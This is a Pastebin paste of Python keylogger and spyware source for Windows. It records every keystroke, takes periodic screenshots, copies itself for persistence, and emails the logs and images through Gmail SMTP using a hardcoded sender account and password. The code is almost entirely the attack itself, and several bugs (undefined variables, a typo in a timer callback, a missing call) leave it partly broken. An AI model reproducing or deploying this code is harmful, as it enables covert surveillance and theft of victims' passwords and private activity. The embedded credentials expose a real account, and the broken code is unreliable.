Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import threading
- import smtplib
- import time
- import os
- import shutil
- import sys
- import subprocess
- try:
- import pyautogui
- import pynput.keyboard
- except:
- os.system("cd C:\Python27\Scripts\ ")
- os.system("pip.exe install pyautogui")
- os.system("pip.exe install pynput")
- log = ''
- import pynput.keyboard
- import pyautogui
- def runforever():
- evil_file_location = os.environ[""]
- if not os.path.exists(evil_file_location):
- shutil.copyfile(sys.executable, evil_file_location)
- timer3 = threading.Timer(5, runforever)
- timer3.start()
- def write():
- write_file_location = os.environ["appdata"]
- global log
- open(write_file_location + "\\log.txt","w+")
- f.write(log)
- f.close()
- timer = threading.Timer(3998, write)
- timer.start
- def writescreen():
- writescreen_file_location = os.environ["appdata"]
- screenshot = pyautogui.screenshot()
- screenshot.save(writescreen_file_location + "\\screen.png")
- timer = threading.Timer(3590, writesreen)
- timer.start()
- def process_key_press(key):
- global log
- try:
- log = log + str(key.char)
- except AttributeError:
- if key == key.space:
- log = log + " "
- elif key == key.backspace:
- log = log + "\b"
- elif key == key.enter:
- log = log + "\n"
- else:
- log = log + " " + str(key) + " "
- def bebo():
- from email.mime.text import MIMEText
- from email.mime.multipart import MIMEMultipart
- from email.mime.base import MIMEBase
- from email import encoders
- import os.path
- email = 'keykeydontlikekey@gmail.com'
- password = 'Olivierminionalpine123'
- send_to_email = 'niniisgreategg@gmail.com'
- subject = 'keylogger'
- message = 'logger'
- file_location = write_file_location + "\\log.txt"
- msg = MIMEMultipart()
- msg['From'] = email
- msg['To'] = send_to_email
- msg['Subject'] = subject
- msg.attach(MIMEText(message, 'plain'))
- # Setup the attachment
- filename = os.path.basename(file_location)
- attachment = open(file_location, "rb")
- part = MIMEBase('application', 'octet-stream')
- part.set_payload(attachment.read())
- encoders.encode_base64(part)
- part.add_header('Content-Disposition', "attachment; filename= %s" % filename)
- # Attach the attachment to the MIMEMultipart object
- msg.attach(part)
- server = smtplib.SMTP('smtp.gmail.com', 587)
- server.starttls()
- server.login(email, password)
- text = msg.as_string()
- server.sendmail(email, send_to_email, text)
- server.quit()
- time.sleep(1)
- log = ""
- timer = threading.Timer(3600, bebo)
- print('sent')
- timer.start()
- def screen():
- from email.mime.text import MIMEText
- from email.mime.multipart import MIMEMultipart
- from email.mime.base import MIMEBase
- from email import encoders
- import os.path
- email = 'keykeydontlikekey@gmail.com'
- password = 'Olivierminionalpine123'
- send_to_email = 'niniisgreategg@gmail.com'
- subject = 'screenshot'
- message = 'screen'
- file_location = writescreen_file_location + "screen.png"
- msg = MIMEMultipart()
- msg['From'] = email
- msg['To'] = send_to_email
- msg['Subject'] = subject
- msg.attach(MIMEText(message, 'plain'))
- # Setup the attachment
- filename = os.path.basename(file_location)
- attachment = open(file_location, "rb")
- part = MIMEBase('application', 'octet-stream')
- part.set_payload(attachment.read())
- encoders.encode_base64(part)
- part.add_header('Content-Disposition', "attachment; filename= %s" % filename)
- msg.attach(part)
- server = smtplib.SMTP('smtp.gmail.com', 587)
- server.starttls()
- server.login(email, password)
- text = msg.as_string()
- server.sendmail(email, send_to_email, text)
- server.quit()
- time.sleep(1)
- timer2 = threading.Timer(1500, screen)
- timer2.start()
- keyboard_listener = pynput.keyboard.Listener(on_press=process_key_press)
- with keyboard_listener:
- write()
- writescreen()
- runforever()
- bebo()
- screen()
- keyboard_listener.join()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement